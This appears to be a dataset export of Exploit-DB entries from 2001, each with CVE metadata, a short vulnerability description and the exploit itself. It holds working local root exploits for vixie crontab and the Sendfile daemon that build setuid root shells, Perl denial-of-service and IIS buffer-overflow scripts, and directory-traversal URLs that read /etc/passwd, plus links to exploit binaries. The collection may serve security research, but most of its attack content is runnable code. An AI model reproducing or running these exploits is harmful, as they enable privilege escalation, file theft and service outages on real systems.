QLWD/code_shield huggingface dataset:
标题: Vixie Cron crontab 3.0 - Privilege Lowering Failure (1) EDB-ID: 20822 CVE: 2001-0559 类型: LOCAL 平台: LINUX 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2687/info

Vixie cron is an implementation of the popular UNIX program that runs user-specified programs at periodic scheduled times.

When a parsing error occurs after a modification operation, crontab will fail to drop privileges correctly for subsequent modification operations.

This vulnerability may be exploited to gain root privileges locally. 

#!/bin/bash

clear
echo ".-----------------------------------------------------------."
echo "| Marchew.Hyperreal presents: vixie crontab exploit #728371 |"
echo "|===========================================================|"
echo "| Sebastian Krahmer <krahmer@security.is>                   |"
echo "| Michal Zalewski <lcamtuf@coredump.cx>                     |"
echo "\`-----------------------------------------------------------'"
echo

test "$CRONBIN" = "" && CRONBIN=/usr/bin/crontab

echo    ">>> Using binary:  $CRONBIN"
echo -n ">>> Setuid check:  "

if [ -u $CRONBIN ]; then
  echo "PASSED"
else
  echo "FAILED"
  echo
  exit 1
fi

echo -n ">>> Version check: "

QQ=`strings $CRONBIN | grep '43 vixie Exp'`

if [ "$QQ" = "" ]; then
  echo "FAILED"
  echo
  exit 1
else
  echo "PASSED"
fi

echo ">>> Building exploit..."

cat >edit0r.c <<_eof_
#include <stdio.h>
int main(int argc,char* argv[]) {
  sleep(1);
  if (geteuid()) {
    FILE* x=fopen(argv[1],"w");
    fprintf(x,"blah blah blah\n");
    fclose(x);
  } else {
    dup2(1,0);
    dup2(1,2);
    printf("\n>>> Entering rootshell, babe...\n");
    system("touch $HOME/.xploited");
    system("bash");
  }
}
_eof_

gcc edit0r.c -o edit0r &>/dev/null
rm -f edit0r.c

if [ ! -f edit0r ]; then
  echo ">>> Cannot compile exploit."
  echo
  exit 1
fi

rm -f ~/.xploited

echo ">>> Performing attack..."

( echo "y"; echo "n" ) | VISUAL=$PWD/edit0r $CRONBIN -e 2>/dev/null

rm -f edit0r

if [ -f ~/.xploited ]; then
  echo
  echo ">>> Thank you."
  rm -f ~/.xploited
  echo
  exit 0
else
  echo
  echo ">>> Apparently I am not able to exploit it, sorry..."
  echo
  exit 1
fi URL: https://www.exploit-db.com/exploits/20822
标题: Drummond Miles A1Stats 1.0 - 'a1disp3.cgi' Traversal Arbitrary File Read EDB-ID: 20832 CVE: 2001-0561 类型: REMOTE 平台: CGI 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2705/info
 
A1Stats is a CGI product by Drummon Miles used to report on a website's visitor traffic.
 
Versions of this product fail to properly validate user-supplied input submitted as querystrings to the A1Stats script.
 
An attacker can compose a long path including '/../' sequences, and submit it as a file request to the product's built-in webserver. 'dot dot' sequences will not be filtered from the path, permitting the attacker to specify files outside the directory tree normally available to users.
 
This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.
 
Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output.

www.server.com/cgi-bin/a1stats/a1disp3.cgi?../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/20832
标题: T. Hauck Jana Server 1.45/1.46 - Hex Encoded Directory Traversal EDB-ID: 20829 CVE: 2001-0557 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2703/info

It is possible for a remote user to traverse the directories of a host running Jana Server. Submitting a specially crafted URL using hex encoded 'double dot' sequences will reveal arbitrary directories. In addition to revealing directories, this vulnerability could enable a user to obtain the contents of files readable by the webserver user. 

www.example.com/%2e%2e/%2e%2e/

www.example.com/%2e%2e/%2e%2e/filename URL: https://www.exploit-db.com/exploits/20829
标题: Cisco HSRP - Denial of Service EDB-ID: 20821 CVE: 2001-0741 类型: DOS 平台: HARDWARE 发布日期: 2001-05-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/2684/info

Hot Standby Routing Protocol is an Internet Protocol based routing protocol implemented by Cisco Systems. It is designed to offer traffic rerouting services to networks when one router within a pool ceases to operate, and users of the network segment aren't using ICMP Router Discovery Protocol to find the new router handling traffic for their segment.

A problem in the Cisco Hot Standby Routing Protocol (HSRP) makes it possible to deny service to users of network resources. By eavesdropping on HSRP management messages sent over the network, it is possible to create a spoofed message that will reroute all network traffic to a particular system. By doing so, it is possible to prevent traffic from entering or leaving that network.

This problem makes it possible for system local to the network to deny service to legitmate users of that network segment. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20821.tgz URL: https://www.exploit-db.com/exploits/20821
标题: Hughes Technologies DSL_Vdns 1.0 - Denial of Service EDB-ID: 20827 CVE: 2001-0580 类型: DOS 平台: MULTIPLE 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2700/info

It is possible for a remote user to cause a denial of service on a host running DSL_Vdns. Submitting data to port 6070 and closing the connection before the request is fulfilled, will cause DSL_Vdns to enter a 'Default.Closed' state; therefore, refusing any new connections. 

#!/usr/bin/perl
#
# VDNS.PL - Crashes Virtual DNS Server 1.0
# Written by nemesystm of the DHC
# http://dhcorp.cjb.net - neme-dhc@hushmail.com
#
####
use Socket;

die "$0 - Stops Virtual DNS Server 1.0.
written by nemesystm of the DHC
http://dhcorp.cjb.net - neme-dhc\@hushmail.com
usage: perl $0 target.com\n" if !defined $ARGV[0];

for ($count = 0; $count <= 3; $count++) {
        $serverIP = inet_aton($ARGV[0]);
        $serverAddr = sockaddr_in(6070, $serverIP);
        socket(CLIENT, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
        if (connect (CLIENT, $serverAddr)) {
                send (CLIENT, "A", 0);
                close (CLIENT);
        } else { print ("if the number shown is 2, it worked"); die "Can't connect: $count\n"; }
} URL: https://www.exploit-db.com/exploits/20827
标题: Vixie Cron crontab 3.0 - Privilege Lowering Failure (2) EDB-ID: 20823 CVE: 2001-0559 类型: LOCAL 平台: LINUX 发布日期: 2001-07-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/2687/info
 
Vixie cron is an implementation of the popular UNIX program that runs user-specified programs at periodic scheduled times.
 
When a parsing error occurs after a modification operation, crontab will fail to drop privileges correctly for subsequent modification operations.
 
This vulnerability may be exploited to gain root privileges locally. 

#!/bin/sh
#
# cronboom - simple proof-of-concept exploit for vixie cron version 3.1pl1
#
# synopsis:
#   the crontab file maintenance program (crontab) fails to drop privileges
#   before invoking the editor under certain circumstances.
#
# description:
#   a serialization error exists in some versions of the file maintenance
#   program, crontab.  the vulnerability was introduced in versions which
#   were patched for seperate vulnerability in fall of 2000 (see Bugtraq
#   ID #1960).
#
#   when a parsing error occurs after a modification operation, crontab will
#   fail to drop privileges correctly for subsequent modification operations.
#   because the program is installed setuid root, it may be possible for a
#   local user to gain root privileges.
#
# affected versions:
#   cron_3.0pl1-57.2 distributed with Debian Linux 2.2.
#
#   note that copies of the program with the patch mentioned above are likely
#   to also be vulnerable.
#
# references:
#   https://www.securityfocus.com/bid/2687
#
# 05/07/01 cairnsc@securityfocus.com

CRONTAB=/usr/bin/crontab

if ! test -x $CRONTAB; then
  echo "** unable to locate crontab executable, exiting"
  exit 1
fi

cat > vcsh.c << EOF
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
}
EOF

echo "** compiling shell wrapper as $PWD/vcsh"
cc -o $PWD/vcsh $PWD/vcsh.c

if ! test -x $PWD/vcsh; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** creating simple exploit script as $PWD/vcex.sh"
cat > vcex.sh << EOF
#!/bin/sh

sleep 1 && echo "foo" >> \$1

if test -f $PWD/vcboom; then
  chown root.root $PWD/vcsh
  chmod 4755 $PWD/vcsh
  rm $PWD/vcboom
else
  touch $PWD/vcboom
fi
EOF

chmod 0755 $PWD/vcex.sh

echo "** running $CRONTAB -e"
echo "**"
echo "** enter 'yes' at the first prompt, then enter 'no' at the second"
echo

(EDITOR=$PWD/vcex.sh $CRONTAB -e)

echo
echo "** done, the shell wrapper should be suid root"
exit 0 URL: https://www.exploit-db.com/exploits/20823
标题: SpyNet 6.5 Chat Server - Multiple Connection Denial of Service Vulnerabilities EDB-ID: 20828 CVE: 2001-0581 类型: DOS 平台: WINDOWS 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2701/info

Spynet Chat Server is a freely available client-server chat package by Spytech Software. Spynet Chat offers IRC style chat to users of the software package.

A problem in the package could allow remote users to crash the chat server. Upon receiving 100 connection requests from a host within a short period of time, and then receiving a message from same host via the chat client, the chat server exits abnormally. A manual restart is required to resume service.

This problem makes it possible for remote users to crash a Spynet Chat Server, denying service to legimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20828.zip URL: https://www.exploit-db.com/exploits/20828
标题: Drummond Miles A1Stats 1.0 - 'a1disp4.cgi' Traversal Arbitrary File Read EDB-ID: 20833 CVE: 2001-0561 类型: REMOTE 平台: CGI 发布日期: 2001-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2705/info
  
A1Stats is a CGI product by Drummon Miles used to report on a website's visitor traffic.
  
Versions of this product fail to properly validate user-supplied input submitted as querystrings to the A1Stats script.
  
An attacker can compose a long path including '/../' sequences, and submit it as a file request to the product's built-in webserver. 'dot dot' sequences will not be filtered from the path, permitting the attacker to specify files outside the directory tree normally available to users.
  
This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.
  
Additionally, by appending a properly formatted echo command argumented by a filename writable by the webserver, this flaw allows the attacker to overwrite this file with A1Stats' output.

www.server.com/cgi-bin/a1stats/a1disp4.cgi?../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/20833
标题: BRS Webweaver 0.x - FTP Root Full Path Disclosure EDB-ID: 20819 CVE: 2001-0452 类型: REMOTE 平台: WINDOWS 发布日期: 2001-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/2676/info

BRS WebWeaver is an ftpd and webserver from Blaine Southam.

WebWeaver's FTP component has a flaw which can permit a remote user to learn the physcial path to the FTP service's root directory.

By submitting the FTP command CD argumented by an asterisk character, the attacker can cause an error message to be generated by WebWeaver which includes the path for the ftp root.

Properly exploited, this information could assist a hostile user in carrying out other attacks on the system.

>ftp localhost
Connected to xxxxxxxxxxxx.rh.rit.edu.
220 BRS WebWeaver FTP Server ready.
User (xxxxxxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog.
Password:
230 User jdog logged in.
ftp> cd *
250 CWD command successful. "/*/" is current directory.
ftp> ls
200 Port command successful.
150 Opening data connection for directory list.
c:\windows\desktop\*\*.* not found
226 File sent ok
ftp: 36 bytes received in 0.06Seconds 0.60Kbytes/sec.
ftp> URL: https://www.exploit-db.com/exploits/20819
标题: Microsoft IIS 5.0 - '.printer' ISAPI Extension Buffer Overflow (4) EDB-ID: 20818 CVE: 2001-0241 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/2674/info
  
Windows 2000 Internet printing ISAPI extension contains msw3prt.dll which handles user requests. Due to an unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .printer request containing approx 420 bytes in the 'Host:' field will allow the execution of arbitrary code. Typically a web server would stop responding in a buffer overflow condition; however, once Windows 2000 detects an unresponsive web server it automatically performs a restart. Therefore, the administrator will be unaware of this attack.
  
* If Web-based Printing has been configured in group policy, attempts to disable or unmap the affected extension via Internet Services Manager will be overridden by the group policy settings. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20818.zip URL: https://www.exploit-db.com/exploits/20818
标题: Microsoft IIS 5.0 - '.printer' ISAPI Extension Buffer Overflow (1) EDB-ID: 20815 CVE: 2001-0241 类型: REMOTE 平台: WINDOWS 发布日期: 2001-05-01 漏洞利用脚本: #source: https://www.securityfocus.com/bid/2674/info

#Windows 2000 Internet printing ISAPI extension contains msw3prt.dll which handles user requests. Due to an unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .printer request containing approx 420 bytes in the 'Host:' field will allow the execution of arbitrary code. Typically a web server would stop responding in a buffer overflow condition; however, once Windows 2000 detects an unresponsive web server it automatically performs a restart. Therefore, the administrator will be unaware of this attack.

#* If Web-based Printing has been configured in group policy, attempts to disable or unmap the affected extension via Internet Services Manager will be overridden by the group policy settings. 

#!/usr/bin/perl
# Exploit By storm@stormdev.net
# Tested with sucess against Win2k IIS 5.0 + SP1
# Remote Buffer Overflow Test for Internet Printing Protocol 
# This code was written after eEye brought this issue in BugTraq.


use Socket;


print "-- IPP - IIS 5.0 Vulnerability Test By Storm --\n\n";

if (not $ARGV[0]) {
 print qq~
   Usage: webexplt.pl <host>
 ~; 
exit;}


$ip=$ARGV[0];

print "Sending Exploit Code to host: " . $ip . "\n\n";
my @results=sendexplt("GET /NULL.printer HTTP/1.0\n" . "Host: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n");
print "Results:\n";

if (not @results) {
 print "The Machine tested has the IPP Vulnerability!";
}
print @results;

sub sendexplt {
        my ($pstr)=@_; 
 $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);              
  $|=1;
                print $pstr;            
  my @in=<S>;
            select(STDOUT);
         close(S);
                return @in;
        } else { die("Can't connect...\n"); }
} URL: https://www.exploit-db.com/exploits/20815
标题: datawizard webxq 2.1.204 - Directory Traversal EDB-ID: 20807 CVE: 2001-0495 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2660/info

DataWizard WebXQ server could be led to traverse directories and possibly reveal files outside of the web root.

By including '/../' sequences along with a known file or directory in requested URLs, a remote user can obtain read access to the requested directories and files outside the web root, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host. 

http://www.example.com/./.../[target file] URL: https://www.exploit-db.com/exploits/20807
标题: PerlCal 2.x - Directory Traversal EDB-ID: 20808 CVE: 2001-0463 类型: REMOTE 平台: CGI 发布日期: 2001-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2663/info

PerlCal is a CGI script written by Acme Software that allows web-based calendar sharing and related functions.

A vulnerability exists in PerlCal which can allow a remote user to traverse the filesystem of a target host. This may lead to the disclosure of potentially sensitive file contents.

Files and directories can be accessed through the use of double dot '../' techniques along with a relative path to the known resource.

Disclosed content is dependant on the privilege level of the user the server is running under, typically user 'nobody'.

This attack may lead to the disclosure of sensitive information and may aid in the assistance of future attacks. 

http://www.example.com/cgi-bin/cal_make.pl?p0=../../../../../../../../../../../../etc/passwd%00

This will display the /etc/passwd (if the webserver user has
access to this file). URL: https://www.exploit-db.com/exploits/20808
标题: Tektronix Phaser 740/750/850/930 - Network Printer Administration Interface EDB-ID: 20806 CVE: 2001-0484 类型: REMOTE 平台: HARDWARE 发布日期: 2001-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/2659/info

A remote vulnerability exists in Tektronix Phaser network printers in the 7xx, 8xx, and 9xx series.

An attacker with access to the printer's local network (or, if no firewall is in place, any attacker) can reach the printer's admin interface, supported by the inbuilt Tektronix PhaserLink webserver.

No authentication is applied to this connection. Arbitrary pages inside the printer's administration interface may be accessed by specifying the desired page in a querystring submitted to the PhaserLink webserver.

No password or other authentication method prevent arbitrary users from making use of this interface.

Using this method, an attacker can activate the printer's 'Emergency Power Off' feature.

This can lead to improper cooling of the ink/crayon reservoir, physically damaging the device.

* The vendor has reported that the printer properly handles 'Emergency Power Off' situations, and that physical damage is unachievable.

Submit http://printername/_ncl_items.shtml&SUBJECT=1

Select "Shutdown" option = "Emergency Power Off". URL: https://www.exploit-db.com/exploits/20806
标题: RaidenFTPd 2.1 - Directory Traversal EDB-ID: 20803 CVE: 2001-0491 类型: REMOTE 平台: WINDOWS 发布日期: 2001-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/2655/info

Raiden FTPD is susceptible to directory traversal attacks using multiple dots in submitted commands specifying file paths.

If the request is properly composed, RaidenFTPD will serve files outside of the intended webroot, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host. 

> ftp localhost
220-This FTP site is running free version of RaidenFTPD
220-Download chinese version from http://playstation2.idv.tw/raiden-ftpd-
site/
220-Download english version from http://playstation2.idv.tw/raidenftpd/
220-RaidenFTPD32 for RaidenFTPD (up since 2001/04/20 15:00)
220-This server is for private use only
220-If you do not have access to this server
220-Please disconnect now
220 Please enter your login name now.
User (xxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog .
Password:
[really long login banner edited out]
230 User jdog logged in , proceed.
ftp> get ....\....\autoexec.bat
200 Port command ok.
150 Sending /....\....\autoexec.bat (419 bytes). Mode STREAM Type ASCII
226-Ã?+Âª+Â¦s+uÃ±Ã±_zÂª@ Ã±UÂ¦Â¦ : 419 Âª_Ã±+_+ Ã±WÂ¦Â¦ : 0 Âª_Ã±+_+
226-Â¦Â¦Â½Ã?Ã±@Âª+Ã±UÂ¦Â¦Â¬Â¦Â¦tÂ½+Â¼O : 419 kb/sec _zÂªÂ¦ Unlimited kb Â¬Â¦Ã±UÂ¦Â¦+BÂ½+
226-Ã?+Â½eÂ¬Â¦Ã?++Â²Â¼O /
226 Transfer finished successfully. Data connection closed.
ftp: 419 bytes received in 0.27Seconds 1.55Kbytes/sec.
ftp> cd ....
250-ÂªÂ¦Ã?++Â²Â¦-Ã±UÂ¬+Â¦Ã­ 1323 mb
250 "/.." is current directory. URL: https://www.exploit-db.com/exploits/20803
标题: Sendfile 1.x/2.1 - Forced Privilege Lowering Failure EDB-ID: 20798 CVE: 2001-0623 类型: LOCAL 平台: LINUX 发布日期: 2001-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/2652/info

Sendfile is an implementation of the SAFT (simple asynchronous file transfer) protocol for UNIX systems.

A serialization error exists in the Sendfile daemon, sendfiled. When used in conjunction with other problems found in the daemon, it may be possible for a local user to execute arbitrary commands as root and gain elevated privileges. 

#!/bin/sh
#
# sfdnfy - Sendfile daemon local arbitrary command execution vulnerability
#
# references:
#   https://www.securityfocus.com/bid/2652
#   https://www.securityfocus.com/bid/2631
#
# 04/24/01 psheep

SFUSER=$USER
SFHOST=localhost
SFPORT=saft
SFSPOOL=/var/spool/sendfile
SFUSERCFG="$SFSPOOL/$SFUSER/config/config"

echo "Sendfile daemon local arbitrary command execution vulnerability"
echo
echo "  username        = $SFUSER"
echo "  spool directory = $SFSPOOL"
echo "  config file     = $SFUSERCFG"
echo "  target hostname = $SFHOST"
echo "  target port     = $SFPORT"
echo

if ! test -d $SFSPOOL; then
  echo "** unable to locate the sendfile spool directory, exiting"
  exit 1
fi

sfsavedcfg="no"

if ! test -d $SFSPOOL/$SFUSER || ! test -d $SFSPOOL/$SFUSER/config; then
  echo "** attempting to create sendfile spool directory for $SFUSER"
  echo
  (sleep 1;echo "TO $SFUSER";sleep 2) | telnet $SFHOST $SFPORT
  echo
else
  if test -f $SFUSERCFG; then
    echo "** backing up your sendfile daemon configuration file"
    mv $SFUSERCFG $SFSPOOL/$SFUSER/config/config.tmp
    sfsavedcfg="yes"
  fi
fi

cat > sfdnfy.c << EOF
#include <unistd.h>
#include <stdlib.h>

int main() {
    setreuid(0,0);
    setgid(0);
    system("chown root.root $PWD/sfdsh;chmod 4755 $PWD/sfdsh");
}
EOF

cat > sfdsh.c << EOF
#include <unistd.h>

int main() {
    setreuid(0,0);
    setgid(0);
    execl("/bin/sh", "sh", NULL);
}
EOF

echo "** compiling helper application as $PWD/sfdnfy"
cc -o $PWD/sfdnfy $PWD/sfdnfy.c

if ! test -x $PWD/sfdnfy; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** compiling shell wrapper as $PWD/sfdsh"
cc -o $PWD/sfdsh $PWD/sfdsh.c

if ! test -x $PWD/sfdsh; then
  echo "** compilation failed, exiting"
  exit 1
fi

echo "** inserting commands into temporary configuration file"
echo "notification = mail $USER;$PWD/sfdnfy" >$SFUSERCFG

echo "** attempting attack against sendfile daemon..."
echo

(sleep 1;cat << EOF
FROM $USER
TO $USER
FILE boom$RANDOM
SIZE 0 0
DATA
FILE boom$RANDOM
SIZE 1 0
DATA
EOF
sleep 2) | telnet $SFHOST $SFPORT
echo

if test "x$sfsavedcfg" = xyes; then
  echo "** restoring backed up configuration file"
  mv $SFSPOOL/$SFUSER/config/config.tmp $SFUSERCFG
else
  echo "** removing temporary configuration file"
  rm $SFUSERCFG
fi

echo "** done, the shell wrapper should be suid root after the mailer is done"
echo
exit 1 URL: https://www.exploit-db.com/exploits/20798
标题: Perl Web Server 0.x - Directory Traversal EDB-ID: 20797 CVE: 2001-0462 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/2648/info

Perl Web Server, an experimental cross-platform web server project, does not prevent a remote user from requesting documents outside the ServerRoot (location of the virtual / directory).

This means that if an attacker knows the location of a sensitive file relative to the ServerRoot, he can retrieve the contents of the file by making an HTTP request containing the relative path. 

o retrieve /etc/password from a vulnerable host, request:

http://www.server.com/../../../../etc/passwd

The number of ../ path characters will depend on the ServerRoot (location of the virtual / directory) setting. URL: https://www.exploit-db.com/exploits/20797